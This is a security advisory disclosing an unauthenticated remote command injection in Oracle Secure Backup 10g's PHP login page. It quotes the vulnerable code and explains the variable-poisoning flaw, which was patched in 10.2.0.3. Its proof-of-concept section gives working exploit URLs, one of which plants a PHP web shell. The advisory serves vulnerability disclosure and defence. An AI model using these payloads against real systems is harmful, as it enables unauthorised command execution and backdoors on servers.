Oracle Secure Backup 10g Remote Code Execution

`Oracle Secure Backup 10g Remote Code Execution  
==============================================  
  
Product Description  
===================  
  
Oracle Secure Backup is a centralized tape backup management software providing  
secure data protection for heterogeneous file systems and the Oracle Database.  
  
Summary  
=======  
  
The Oracle January 2009 Critical Patch Update fixes a vulnerability which  
allows a remote preauthenticated attacker to execute arbitrary code in the  
context of the user running the web server of Oracle Secure Backup.  
  
In Windows environments, the vulnerability allows execution of arbitrary code as  
SYSTEM. In Unix and GNU/Linux environments, however, just as a normal user  
(oracle usually).  
  
CVSS2 Risk Score  
================  
  
Microsoft Windows: 10  
Linux and Unix : 7,5  
  
Affected versions  
=================  
  
Oracle Secure Backup version 10.1.0.3 to 10.2.0.2 in all supported operating systems  
are affected.  
  
Vulnerability Details  
=====================  
  
Oracle Secure Backup comes with one PHP based frontend which is vulnerable to a  
variable poisoning attack regardless if the PHP directive register_globals is   
enabled or not.  
  
Internally, all the variables passed to the script login.php are converted to global  
variables in the file $ROOT\php\globals.php. Any variable regarding or regardless the  
method used to send the query will be registered as a global variable.  
  
From the login script called "login.php" the tool "obt.exe" is executed with a popen  
call passing arguments received from the client. These arguments are not sanitized  
nor verified and it allows post-authentication remote command execution BUT due to a  
logic failure in the script "login.php" when the variable "clear" has the value "no"  
and other variables (that supposedly comes from a cookie) are set anyone can execute  
operating system command from remote without being authenticated. The vulnerable code  
is the following:  
  
(...)  
if (strlen($ora_osb_bgcookie) > 0 && $button == "Logout")  
{  
// Turn DEBUG_EXEC to off  
$tmp = $DEBUG_EXEC;  
$DEBUG_EXEC = "no";  
  
// Teminate the connection.  
$qr_command = "$rbtool --terminate $ora_osb_bgcookie-$ora_osb_lcookie";  
$msg = exec_qr("$qr_command");  
  
if (strncmp($msg[0], "Error:", 6))  
{  
// Set the cookie up.  
setcookie("ora_osb_bgcookie", "");  
setcookie("ora_osb_lcookie", "");  
$ora_osb_bgcookie = "";  
}  
  
// Reset DEBUG_EXEC.  
$DEBUG_EXEC = $dtmp;  
}  
header("Location: /login.php?clear=yes");  
}  
(...)  
  
The function "exec_qr" internally calls the function PHP function "popen" to execute  
a command. The $rbtool variable, abusing from the variable poisoning attack, can be  
changed to, in example, /bin/sh or cmd.exe to execute arbitrary commands without the  
need for a user name or password, just with network access to the Oracle Secure Backup  
Web server. In fact, the script thinks that we're doing a logout.  
  
Proof of Concept  
================  
  
* Create a file in the directory "c:\"  
  
https://<target>/login.php?clear=no&ora_osb_lcookie=aa&ora_osb_bgcookie=bb&button=Logout&rbtool=cmd.exe+/c+echo+hello+world+%3E+c:\oracle.secure.backup.txt+;  
  
* Create a PHP backdoor  
  
https://<target>/login.php?clear=no&ora_osb_lcookie=aa&ora_osb_bgcookie=bb&button=Logout&rbtool=cmd.exe+/c+echo+%22%3C%3Fphp+print(shell_exec(%24_GET%5B'a'%5D))%3B+%3F%3E%22+%3E+test.php%3B%26%26+echo  
  
Workaround  
==========  
  
Disable the web server.  
  
Patch information  
=================  
  
Oracle fixed the vulnerability in version 10.2.0.3 of Oracle Secure Backup.  
  
Contact Information  
===================  
  
The vulnerability was found by Joxean Koret, admin[at]joxeankoret[dot]com  
  
References  
==========  
  
Oracle Secure Backup exec_qr() Command Injection Vulnerability:  
http://www.zerodayinitiative.com/advisories/ZDI-09-003/  
  
Oracle Critical Patch Update January 2009:  
http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html  
  
Permanent Version of the advisory:  
http://joxeankoret.com/blog/?p=39  
  
Professional Web:  
http://www.joxeankoret.com  
  
Personal Blog:  
http://www.joxeankoret.com/blog  
  
Disclaimer  
==========  
  
The information in this advisory and any of its demonstrations is provided "as is"  
without any warranty of any kind.  
  
I am not liable for any direct or indirect damages caused as a result of using the  
information or demonstrations provided in any part of this advisory.  
  
  
`